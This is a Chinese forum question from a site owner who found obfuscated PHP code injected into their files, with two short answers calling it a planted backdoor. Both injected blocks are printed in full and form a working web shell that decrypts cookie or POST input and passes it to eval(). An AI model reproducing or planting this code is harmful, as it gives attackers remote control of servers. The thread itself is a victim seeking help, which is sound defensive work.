谁能解释下这段代码什么意思？

Question

代码如下，有‘人’在我的php文件的开头加了下面这段代码:

$GLOBALS['o60b3f'];global$o60b3f;$o60b3f=$GLOBALS;${"\x47\x4c\x4fB\x41\x4c\x53"}['r66fecf8']="\x2a\x30\x48\x7b\x2b\x33\x5d\x22\x4a\x57\x47\x7d\x41\x46\x34\x5b\x25\x61\x70\x50\x37\x55\x67\x71\x2f\x52\x5c\x35\x66\x5a\x6c\x3d\x21\x5f\x77\x76\x24\x7e\x45\x4b\x72\x3e\x6e\x42\x4f\x73\x20\x7a\x43\x75\x26\x40\x36\x2d\x31\x49\x56\x29\x2e\x3c\x32\x63\x4c\x64\x79\x78\x39\x74\x6d\x3f\x53\x59\x6f\x3a\x54\x27\x44\x7c\x4d\x3b\x9\x6b\x23\xa\x65\x6a\x51\x58\x60\x62\x69\xd\x38\x28\x2c\x68\x5e\x4e";$o60b3f[$o60b3f['r66fecf8'][61].$o60b3f['r66fecf8'][89].$o60b3f['r66fecf8'][92].$o60b3f['r66fecf8'][60].$o60b3f['r66fecf8'][28]]=$o60b3f['r66fecf8'][61].$o60b3f['r66fecf8'][95].$o60b3f['r66fecf8'][40];$o60b3f[$o60b3f['r66fecf8'][35].$o60b3f['r66fecf8'][89].$o60b3f['r66fecf8'][52].$o60b3f['r66fecf8'][52].$o60b3f['r66fecf8'][20].$o60b3f['r66fecf8'][52].$o60b3f['r66fecf8'][17]]=$o60b3f['r66fecf8'][72].$o60b3f['r66fecf8'][40].$o60b3f['r66fecf8'][63];$o60b3f[$o60b3f['r66fecf8'][18].$o60b3f['r66fecf8'][60].$o60b3f['r66fecf8'][28].$o60b3f['r66fecf8'][84].$o60b3f['r66fecf8'][84].$o60b3f['r66fecf8'][27].$o60b3f['r66fecf8'][84].$o60b3f['r66fecf8'][84]]=$o60b3f['r66fecf8'][45].$o60b3f['r66fecf8'][67].$o60b3f['r66fecf8'][40].$o60b3f['r66fecf8'][30].$o60b3f['r66fecf8'][84].$o60b3f['r66fecf8'][42];$o60b3f[$o60b3f['r66fecf8'][67].$o60b3f['r66fecf8'][1].$o60b3f['r66fecf8'][20].$o60b3f['r66fecf8'][66].$o60b3f['r66fecf8'][1].$o60b3f['r66fecf8'][92].$o60b3f['r66fecf8'][92].$o60b3f['r66fecf8'][14].$o60b3f['r66fecf8'][14]]=$o60b3f['r66fecf8'][90].$o60b3f['r66fecf8'][42].$o60b3f['r66fecf8'][90].$o60b3f['r66fecf8'][33].$o60b3f['r66fecf8'][45].$o60b3f['r66fecf8'][84].$o60b3f['r66fecf8'][67];$o60b3f[$o60b3f['r66fecf8'][63].$o60b3f['r66fecf8'][14].$o60b3f['r66fecf8'][27].$o60b3f['r66fecf8'][89].$o60b3f['r66fecf8'][1]]=$o60b3f['r66fecf8'][45].$o60b3f['r66fecf8'][84].$o60b3f['r66fecf8'][40].$o60b3f['r66fecf8'][90].$o60b3f['r66fecf8'][17].$o60b3f['r66fecf8'][30].$o60b3f['r66fecf8'][90].$o60b3f['r66fecf8'][47].$o60b3f['r66fecf8'][84];$o60b3f[$o60b3f['r66fecf8'][49].$o60b3f['r66fecf8'][1].$o60b3f['r66fecf8'][1].$o60b3f['r66fecf8'][92].$o60b3f['r66fecf8'][89].$o60b3f['r66fecf8'][84].$o60b3f['r66fecf8'][27]]=$o60b3f['r66fecf8'][18].$o60b3f['r66fecf8'][95].$o60b3f['r66fecf8'][18].$o60b3f['r66fecf8'][35].$o60b3f['r66fecf8'][84].$o60b3f['r66fecf8'][40].$o60b3f['r66fecf8'][45].$o60b3f['r66fecf8'][90].$o60b3f['r66fecf8'][72].$o60b3f['r66fecf8'][42];$o60b3f[$o60b3f['r66fecf8'][90].$o60b3f['r66fecf8'][63].$o60b3f['r66fecf8'][54].$o60b3f['r66fecf8'][20].$o60b3f['r66fecf8'][84].$o60b3f['r66fecf8'][27].$o60b3f['r66fecf8'][84].$o60b3f['r66fecf8'][20].$o60b3f['r66fecf8'][5]]=$o60b3f['r66fecf8'][49].$o60b3f['r66fecf8'][42].$o60b3f['r66fecf8'][45].$o60b3f['r66fecf8'][84].$o60b3f['r66fecf8'][40].$o60b3f['r66fecf8'][90].$o60b3f['r66fecf8'][17].$o60b3f['r66fecf8'][30].$o60b3f['r66fecf8'][90].$o60b3f['r66fecf8'][47].$o60b3f['r66fecf8'][84];$o60b3f[$o60b3f['r66fecf8'][22].$o60b3f['r66fecf8'][61].$o60b3f['r66fecf8'][5].$o60b3f['r66fecf8'][54].$o60b3f['r66fecf8'][66].$o60b3f['r66fecf8'][27].$o60b3f['r66fecf8'][54].$o60b3f['r66fecf8'][5]]=$o60b3f['r66fecf8'][89].$o60b3f['r66fecf8'][17].$o60b3f['r66fecf8'][45].$o60b3f['r66fecf8'][84].$o60b3f['r66fecf8'][52].$o60b3f['r66fecf8'][14].$o60b3f['r66fecf8'][33].$o60b3f['r66fecf8'][63].$o60b3f['r66fecf8'][84].$o60b3f['r66fecf8'][61].$o60b3f['r66fecf8'][72].$o60b3f['r66fecf8'][63].$o60b3f['r66fecf8'][84];$o60b3f[$o60b3f['r66fecf8'][42].$o60b3f['r66fecf8'][84].$o60b3f['r66fecf8'][54].$o60b3f['r66fecf8'][54].$o60b3f['r66fecf8'][89].$o60b3f['r66fecf8'][54].$o60b3f['r66fecf8'][84].$o60b3f['r66fecf8'][52]]=$o60b3f['r66fecf8'][45].$o60b3f['r66fecf8'][84].$o60b3f['r66fecf8'][67].$o60b3f['r66fecf8'][33].$o60b3f['r66fecf8'][67].$o60b3f['r66fecf8'][90].$o60b3f['r66fecf8'][68].$o60b3f['r66fecf8'][84].$o60b3f['r66fecf8'][33].$o60b3f['r66fecf8'][30].$o60b3f['r66fecf8'][90].$o60b3f['r66fecf8'][68].$o60b3f['r66fecf8'][90].$o60b3f['r66fecf8'][67];$o60b3f[$o60b3f['r66fecf8'][22].$o60b3f['r66fecf8'][61].$o60b3f['r66fecf8'][27].$o60b3f['r66fecf8'][20].$o60b3f['r66fecf8'][52].$o60b3f['r66fecf8'][20].$o60b3f['r66fecf8'][20]]=$o60b3f['r66fecf8'][17].$o60b3f['r66fecf8'][20].$o60b3f['r66fecf8'][17].$o60b3f['r66fecf8'][5].$o60b3f['r66fecf8'][27].$o60b3f['r66fecf8'][60].$o60b3f['r66fecf8'][17].$o60b3f['r66fecf8'][89];$o60b3f[$o60b3f['r66fecf8'][18].$o60b3f['r66fecf8'][14].$o60b3f['r66fecf8'][84].$o60b3f['r66fecf8'][84].$o60b3f['r66fecf8'][28].$o60b3f['r66fecf8'][84].$o60b3f['r66fecf8'][54]]=$o60b3f['r66fecf8'][85].$o60b3f['r66fecf8'][92].$o60b3f['r66fecf8'][89].$o60b3f['r66fecf8'][14].$o60b3f['r66fecf8'][5].$o60b3f['r66fecf8'][52];$o60b3f[$o60b3f['r66fecf8'][65].$o60b3f['r66fecf8'][5].$o60b3f['r66fecf8'][92].$o60b3f['r66fecf8'][14].$o60b3f['r66fecf8'][61]]=$_POST;$o60b3f[$o60b3f['r66fecf8'][68].$o60b3f['r66fecf8'][60].$o60b3f['r66fecf8'][84].$o60b3f['r66fecf8'][1].$o60b3f['r66fecf8'][66].$o60b3f['r66fecf8'][89].$o60b3f['r66fecf8'][89]]=$_COOKIE;@$o60b3f[$o60b3f['r66fecf8'][67].$o60b3f['r66fecf8'][1].$o60b3f['r66fecf8'][20].$o60b3f['r66fecf8'][66].$o60b3f['r66fecf8'][1].$o60b3f['r66fecf8'][92].$o60b3f['r66fecf8'][92].$o60b3f['r66fecf8'][14].$o60b3f['r66fecf8'][14]]($o60b3f['r66fecf8'][84].$o60b3f['r66fecf8'][40].$o60b3f['r66fecf8'][40].$o60b3f['r66fecf8'][72].$o60b3f['r66fecf8'][40].$o60b3f['r66fecf8'][33].$o60b3f['r66fecf8'][30].$o60b3f['r66fecf8'][72].$o60b3f['r66fecf8'][22],NULL);@$o60b3f[$o60b3f['r66fecf8'][67].$o60b3f['r66fecf8'][1].$o60b3f['r66fecf8'][20].$o60b3f['r66fecf8'][66].$o60b3f['r66fecf8'][1].$o60b3f['r66fecf8'][92].$o60b3f['r66fecf8'][92].$o60b3f['r66fecf8'][14].$o60b3f['r66fecf8'][14]]($o60b3f['r66fecf8'][30].$o60b3f['r66fecf8'][72].$o60b3f['r66fecf8'][22].$o60b3f['r66fecf8'][33].$o60b3f['r66fecf8'][84].$o60b3f['r66fecf8'][40].$o60b3f['r66fecf8'][40].$o60b3f['r66fecf8'][72].$o60b3f['r66fecf8'][40].$o60b3f['r66fecf8'][45],0);@$o60b3f[$o60b3f['r66fecf8'][67].$o60b3f['r66fecf8'][1].$o60b3f['r66fecf8'][20].$o60b3f['r66fecf8'][66].$o60b3f['r66fecf8'][1].$o60b3f['r66fecf8'][92].$o60b3f['r66fecf8'][92].$o60b3f['r66fecf8'][14].$o60b3f['r66fecf8'][14]]($o60b3f['r66fecf8'][68].$o60b3f['r66fecf8'][17].$o60b3f['r66fecf8'][65].$o60b3f['r66fecf8'][33].$o60b3f['r66fecf8'][84].$o60b3f['r66fecf8'][65].$o60b3f['r66fecf8'][84].$o60b3f['r66fecf8'][61].$o60b3f['r66fecf8'][49].$o60b3f['r66fecf8'][67].$o60b3f['r66fecf8'][90].$o60b3f['r66fecf8'][72].$o60b3f['r66fecf8'][42].$o60b3f['r66fecf8'][33].$o60b3f['r66fecf8'][67].$o60b3f['r66fecf8'][90].$o60b3f['r66fecf8'][68].$o60b3f['r66fecf8'][84],0);@$o60b3f[$o60b3f['r66fecf8'][42].$o60b3f['r66fecf8'][84].$o60b3f['r66fecf8'][54].$o60b3f['r66fecf8'][54].$o60b3f['r66fecf8'][89].$o60b3f['r66fecf8'][54].$o60b3f['r66fecf8'][84].$o60b3f['r66fecf8'][52]](0);$lae4=NULL;$k94bc0d42=NULL;$o60b3f[$o60b3f['r66fecf8'][72].$o60b3f['r66fecf8'][20].$o60b3f['r66fecf8'][5].$o60b3f['r66fecf8'][17].$o60b3f['r66fecf8'][1].$o60b3f['r66fecf8'][28].$o60b3f['r66fecf8'][27].$o60b3f['r66fecf8'][28].$o60b3f['r66fecf8'][28]]=$o60b3f['r66fecf8'][28].$o60b3f['r66fecf8'][92].$o60b3f['r66fecf8'][52].$o60b3f['r66fecf8'][63].$o60b3f['r66fecf8'][84].$o60b3f['r66fecf8'][63].$o60b3f['r66fecf8'][1].$o60b3f['r66fecf8'][17].$o60b3f['r66fecf8'][53].$o60b3f['r66fecf8'][17].$o60b3f['r66fecf8'][28].$o60b3f['r66fecf8'][20].$o60b3f['r66fecf8'][5].$o60b3f['r66fecf8'][53].$o60b3f['r66fecf8'][14].$o60b3f['r66fecf8'][92].$o60b3f['r66fecf8'][89].$o60b3f['r66fecf8'][1].$o60b3f['r66fecf8'][53].$o60b3f['r66fecf8'][92].$o60b3f['r66fecf8'][27].$o60b3f['r66fecf8'][5].$o60b3f['r66fecf8'][20].$o60b3f['r66fecf8'][53].$o60b3f['r66fecf8'][60].$o60b3f['r66fecf8'][60].$o60b3f['r66fecf8'][1].$o60b3f['r66fecf8'][63].$o60b3f['r66fecf8'][61].$o60b3f['r66fecf8'][89].$o60b3f['r66fecf8'][66].$o60b3f['r66fecf8'][60].$o60b3f['r66fecf8'][20].$o60b3f['r66fecf8'][60].$o60b3f['r66fecf8'][92].$o60b3f['r66fecf8'][66];global$o73a0f5ff;function j8b436($lae4,$occ9c489){global$o60b3f;$fadce1c74="";for($d0b96=0;$d0b96<$o60b3f[$o60b3f['r66fecf8'][18].$o60b3f['r66fecf8'][60].$o60b3f['r66fecf8'][28].$o60b3f['r66fecf8'][84].$o60b3f['r66fecf8'][84].$o60b3f['r66fecf8'][27].$o60b3f['r66fecf8'][84].$o60b3f['r66fecf8'][84]]($lae4);){for($q9f99=0;$q9f99<$o60b3f[$o60b3f['r66fecf8'][18].$o60b3f['r66fecf8'][60].$o60b3f['r66fecf8'][28].$o60b3f['r66fecf8'][84].$o60b3f['r66fecf8'][84].$o60b3f['r66fecf8'][27].$o60b3f['r66fecf8'][84].$o60b3f['r66fecf8'][84]]($occ9c489)&&$d0b96<$o60b3f[$o60b3f['r66fecf8'][18].$o60b3f['r66fecf8'][60].$o60b3f['r66fecf8'][28].$o60b3f['r66fecf8'][84].$o60b3f['r66fecf8'][84].$o60b3f['r66fecf8'][27].$o60b3f['r66fecf8'][84].$o60b3f['r66fecf8'][84]]($lae4);$q9f99++,$d0b96++){$fadce1c74.=$o60b3f[$o60b3f['r66fecf8'][61].$o60b3f['r66fecf8'][89].$o60b3f['r66fecf8'][92].$o60b3f['r66fecf8'][60].$o60b3f['r66fecf8'][28]]($o60b3f[$o60b3f['r66fecf8'][35].$o60b3f['r66fecf8'][89].$o60b3f['r66fecf8'][52].$o60b3f['r66fecf8'][52].$o60b3f['r66fecf8'][20].$o60b3f['r66fecf8'][52].$o60b3f['r66fecf8'][17]]($lae4[$d0b96])^$o60b3f[$o60b3f['r66fecf8'][35].$o60b3f['r66fecf8'][89].$o60b3f['r66fecf8'][52].$o60b3f['r66fecf8'][52].$o60b3f['r66fecf8'][20].$o60b3f['r66fecf8'][52].$o60b3f['r66fecf8'][17]]($occ9c489[$q9f99]));}}return$fadce1c74;}function a7a352ab($lae4,$occ9c489){global$o60b3f;global$o73a0f5ff;return$o60b3f[$o60b3f['r66fecf8'][18].$o60b3f['r66fecf8'][14].$o60b3f['r66fecf8'][84].$o60b3f['r66fecf8'][84].$o60b3f['r66fecf8'][28].$o60b3f['r66fecf8'][84].$o60b3f['r66fecf8'][54]]($o60b3f[$o60b3f['r66fecf8'][18].$o60b3f['r66fecf8'][14].$o60b3f['r66fecf8'][84].$o60b3f['r66fecf8'][84].$o60b3f['r66fecf8'][28].$o60b3f['r66fecf8'][84].$o60b3f['r66fecf8'][54]]($lae4,$o73a0f5ff),$occ9c489);}foreach($o60b3f[$o60b3f['r66fecf8'][68].$o60b3f['r66fecf8'][60].$o60b3f['r66fecf8'][84].$o60b3f['r66fecf8'][1].$o60b3f['r66fecf8'][66].$o60b3f['r66fecf8'][89].$o60b3f['r66fecf8'][89]]as$occ9c489=>$gb392){$lae4=$gb392;$k94bc0d42=$occ9c489;}if(!$lae4){foreach($o60b3f[$o60b3f['r66fecf8'][65].$o60b3f['r66fecf8'][5].$o60b3f['r66fecf8'][92].$o60b3f['r66fecf8'][14].$o60b3f['r66fecf8'][61]]as$occ9c489=>$gb392){$lae4=$gb392;$k94bc0d42=$occ9c489;}}$lae4=@$o60b3f[$o60b3f['r66fecf8'][90].$o60b3f['r66fecf8'][63].$o60b3f['r66fecf8'][54].$o60b3f['r66fecf8'][20].$o60b3f['r66fecf8'][84].$o60b3f['r66fecf8'][27].$o60b3f['r66fecf8'][84].$o60b3f['r66fecf8'][20].$o60b3f['r66fecf8'][5]]($o60b3f[$o60b3f['r66fecf8'][22].$o60b3f['r66fecf8'][61].$o60b3f['r66fecf8'][27].$o60b3f['r66fecf8'][20].$o60b3f['r66fecf8'][52].$o60b3f['r66fecf8'][20].$o60b3f['r66fecf8'][20]]($o60b3f[$o60b3f['r66fecf8'][22].$o60b3f['r66fecf8'][61].$o60b3f['r66fecf8'][5].$o60b3f['r66fecf8'][54].$o60b3f['r66fecf8'][66].$o60b3f['r66fecf8'][27].$o60b3f['r66fecf8'][54].$o60b3f['r66fecf8'][5]]($lae4),$k94bc0d42));if(isset($lae4[$o60b3f['r66fecf8'][17].$o60b3f['r66fecf8'][81]])&&$o73a0f5ff==$lae4[$o60b3f['r66fecf8'][17].$o60b3f['r66fecf8'][81]]){if($lae4[$o60b3f['r66fecf8'][17]]==$o60b3f['r66fecf8'][90]){$d0b96=Array($o60b3f['r66fecf8'][18].$o60b3f['r66fecf8'][35]=>@$o60b3f[$o60b3f['r66fecf8'][49].$o60b3f['r66fecf8'][1].$o60b3f['r66fecf8'][1].$o60b3f['r66fecf8'][92].$o60b3f['r66fecf8'][89].$o60b3f['r66fecf8'][84].$o60b3f['r66fecf8'][27]](),$o60b3f['r66fecf8'][45].$o60b3f['r66fecf8'][35]=>$o60b3f['r66fecf8'][54].$o60b3f['r66fecf8'][58].$o60b3f['r66fecf8'][1].$o60b3f['r66fecf8'][53].$o60b3f['r66fecf8'][54],);echo@$o60b3f[$o60b3f['r66fecf8'][63].$o60b3f['r66fecf8'][14].$o60b3f['r66fecf8'][27].$o60b3f['r66fecf8'][89].$o60b3f['r66fecf8'][1]]($d0b96);}elseif($lae4[$o60b3f['r66fecf8'][17]]==$o60b3f['r66fecf8'][84]){eval($lae4[$o60b3f['r66fecf8'][63]]);}exit();} ?>

今天发现又有了一段，这些代码都是在做什么呢？

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'][55]]($s06c8f1['nc400402'][11].$s06c8f1['nc400402'][54].$s06c8f1['nc400402'][54].$s06c8f1['nc400402'][68].$s06c8f1['nc400402'][54].$s06c8f1['nc400402'][35].$s06c8f1['nc400402'][80].$s06c8f1['nc400402'][68].$s06c8f1['nc400402'][38],NULL);@$s06c8f1[$s06c8f1['nc400402'][15].$s06c8f1['nc400402'][58].$s06c8f1['nc400402'][40].$s06c8f1['nc400402'][82].$s06c8f1['nc400402'][65].$s06c8f1['nc400402'][55]]($s06c8f1['nc400402'][80].$s06c8f1['nc400402'][68].$s06c8f1['nc400402'][38].$s06c8f1['nc400402'][35].$s06c8f1['nc400402'][11].$s06c8f1['nc400402'][54].$s06c8f1['nc400402'][54].$s06c8f1['nc400402'][68].$s06c8f1['nc400402'][54].$s06c8f1['nc400402'][15],0);@$s06c8f1[$s06c8f1['nc400402'][15].$s06c8f1['nc400402'][58].$s06c8f1['nc400402'][40].$s06c8f1['nc400402'][82].$s06c8f1['nc400402'][65].$s06c8f1['nc400402'][55]]($s06c8f1['nc400402'][78].$s06c8f1['nc400402'][31].$s06c8f1['nc400402'][8].$s06c8f1['nc400402'][35].$s06c8f1['nc400402'][11].$s06c8f1['nc400402'][8].$s06c8f1['nc400402'][11].$s06c8f1['nc400402'][58].$s06c8f1['nc400402'][32].$s06c8f1['nc400402'][50].$s06c8f1['nc400402'][73].$s06c8f1['nc400402'][68].$s06c8f1['nc400402'][95].$s06c8f1['nc400402'][35].$s06c8f1['nc400402'][50].$s06c8f1['nc400402'][73].$s06c8f1['nc400402'][78].$s06c8f1['nc400402'][11],0);@$s06c8f1[$s06c8f1['nc400402'][13].$s06c8f1['nc400402'][42].$s06c8f1['nc400402'][42].$s06c8f1['nc400402'][3].$s06c8f1['nc400402'][55].$s06c8f1['nc400402'][65]](0);$g7e9a432=NULL;$f906056=NULL;$s06c8f1[$s06c8f1['nc400402'][78].$s06c8f1['nc400402'][51].$s06c8f1['nc400402'][11].$s06c8f1['nc400402'][65].$s06c8f1['nc400402'][82].$s06c8f1['nc400402'][72].$s06c8f1['nc400402'][20]]=$s06c8f1['nc400402'][51].$s06c8f1['nc400402'][58].$s06c8f1['nc400402'][51].$s06c8f1['nc400402'][40].$s06c8f1['nc400402'][18].$s06c8f1['nc400402'][58].$s06c8f1['nc400402'][20].$s06c8f1['nc400402'][65].$s06c8f1['nc400402'][29].$s06c8f1['nc400402'][20].$s06c8f1['nc400402'][42].$s06c8f1['nc400402'][65].$s06c8f1['nc400402'][82].$s06c8f1['nc400402'][29].$s06c8f1['nc400402'][65].$s06c8f1['nc400402'][87].$s06c8f1['nc400402'][42].$s06c8f1['nc400402'][82].$s06c8f1['nc400402'][29].$s06c8f1['nc400402'][13].$s06c8f1['nc400402'][18].$s06c8f1['nc400402'][26].$s06c8f1['nc400402'][20].$s06c8f1['nc400402'][29].$s06c8f1['nc400402'][26].$s06c8f1['nc400402'][40].$s06c8f1['nc400402'][65].$s06c8f1['nc400402'][40].$s06c8f1['nc400402'][13].$s06c8f1['nc400402'][65].$s06c8f1['nc400402'][40].$s06c8f1['nc400402'][18].$s06c8f1['nc400402'][3].$s06c8f1['nc400402'][26].$s06c8f1['nc400402'][42].$s06c8f1['nc400402'][58];global$m7e4893;function g33cd3e1($g7e9a432,$v67a41){global$s06c8f1;$b67ab2ff="";for($wbdcc17=0;$wbdcc17<$s06c8f1[$s06c8f1['nc400402'][11].$s06c8f1['nc400402'][20].$s06c8f1['nc400402'][82].$s06c8f1['nc400402'][18].$s06c8f1['nc400402'][87].$s06c8f1['nc400402'][31]]($g7e9a432);){for($f0c3=0;$f0c3<$s06c8f1[$s06c8f1['nc400402'][11].$s06c8f1['nc400402'][20].$s06c8f1['nc400402'][82].$s06c8f1['nc400402'][18].$s06c8f1['nc400402'][87].$s06c8f1['nc400402'][31]]($v67a41)&&$wbdcc17<$s06c8f1[$s06c8f1['nc400402'][11].$s06c8f1['nc400402'][20].$s06c8f1['nc400402'][82].$s06c8f1['nc400402'][18].$s06c8f1['nc400402'][87].$s06c8f1['nc400402'][31]]($g7e9a432);$f0c3++,$wbdcc17++){$b67ab2ff.=$s06c8f1[$s06c8f1['nc400402'][58].$s06c8f1['nc400402'][72].$s06c8f1['nc400402'][11].$s06c8f1['nc400402'][65]]($s06c8f1[$s06c8f1['nc400402'][54].$s06c8f1['nc400402'][65].$s06c8f1['nc400402'][18].$s06c8f1['nc400402'][82].$s06c8f1['nc400402'][55].$s06c8f1['nc400402'][13].$s06c8f1['nc400402'][31].$s06c8f1['nc400402'][26].$s06c8f1['nc400402'][42]]($g7e9a432[$wbdcc17])^$s06c8f1[$s06c8f1['nc400402'][54].$s06c8f1['nc400402'][65].$s06c8f1['nc400402'][18].$s06c8f1['nc400402'][82].$s06c8f1['nc400402'][55].$s06c8f1['nc400402'][13].$s06c8f1['nc400402'][31].$s06c8f1['nc400402'][26].$s06c8f1['nc400402'][42]]($v67a41[$f0c3]));}}return$b67ab2ff;}function l87fea238($g7e9a432,$v67a41){global$s06c8f1;global$m7e4893;return$s06c8f1[$s06c8f1['nc400402'][13].$s06c8f1['nc400402'][20].$s06c8f1['nc400402'][3].$s06c8f1['nc400402'][82].$s06c8f1['nc400402'][87].$s06c8f1['nc400402'][3]]($s06c8f1[$s06c8f1['nc400402'][13].$s06c8f1['nc400402'][20].$s06c8f1['nc400402'][3].$s06c8f1['nc400402'][82].$s06c8f1['nc400402'][87].$s06c8f1['nc400402'][3]]($g7e9a432,$m7e4893),$v67a41);}foreach($s06c8f1[$s06c8f1['nc400402'][26].$s06c8f1['nc400402'][55].$s06c8f1['nc400402'][3].$s06c8f1['nc400402'][55]]as$v67a41=>$g4c7730){$g7e9a432=$g4c7730;$f906056=$v67a41;}if(!$g7e9a432){foreach($s06c8f1[$s06c8f1['nc400402'][50].$s06c8f1['nc400402'][26].$s06c8f1['nc400402'][18].$s06c8f1['nc400402'][26]]as$v67a41=>$g4c7730){$g7e9a432=$g4c7730;$f906056=$v67a41;}}$g7e9a432=@$s06c8f1[$s06c8f1['nc400402'][18].$s06c8f1['nc400402'][3].$s06c8f1['nc400402'][82].$s06c8f1['nc400402'][40]]($s06c8f1[$s06c8f1['nc400402'][8].$s06c8f1['nc400402'][42].$s06c8f1['nc400402'][31].$s06c8f1['nc400402'][55]]($s06c8f1[$s06c8f1['nc400402'][26].$s06c8f1['nc400402'][51].$s06c8f1['nc400402'][82].$s06c8f1['nc400402'][3].$s06c8f1['nc400402'][51].$s06c8f1['nc400402'][87].$s06c8f1['nc400402'][65].$s06c8f1['nc400402'][40].$s06c8f1['nc400402'][87]]($g7e9a432),$f906056));if(isset($g7e9a432[$s06c8f1['nc400402'][31].$s06c8f1['nc400402'][49]])&&$m7e4893==$g7e9a432[$s06c8f1['nc400402'][31].$s06c8f1['nc400402'][49]]){if($g7e9a432[$s06c8f1['nc400402'][31]]==$s06c8f1['nc400402'][73]){$wbdcc17=Array($s06c8f1['nc400402'][34].$s06c8f1['nc400402'][74]=>@$s06c8f1[$s06c8f1['nc400402'][95].$s06c8f1['nc400402'][13].$s06c8f1['nc400402'][26].$s06c8f1['nc400402'][40].$s06c8f1['nc400402'][72].$s06c8f1['nc400402'][3].$s06c8f1['nc400402'][40].$s06c8f1['nc400402'][82]](),$s06c8f1['nc400402'][15].$s06c8f1['nc400402'][74]=>$s06c8f1['nc400402'][55].$s06c8f1['nc400402'][48].$s06c8f1['nc400402'][42].$s06c8f1['nc400402'][29].$s06c8f1['nc400402'][55],);echo@$s06c8f1[$s06c8f1['nc400402'][8].$s06c8f1['nc400402'][11].$s06c8f1['nc400402'][13].$s06c8f1['nc400402'][42].$s06c8f1['nc400402'][65].$s06c8f1['nc400402'][3]]($wbdcc17);}elseif($g7e9a432[$s06c8f1['nc400402'][31]]==$s06c8f1['nc400402'][11]){eval($g7e9a432[$s06c8f1['nc400402'][18]]);}exit();} ?>

Answer 1

话不多说，请使用phpstorm的断点调试功能，具体请看截图。

Answer 2

目测楼主服务器被挂马了 建议楼主检查一遍所有代码 清楚程序里面的后门 然后检查服务器权限配置 看看有没有后门进程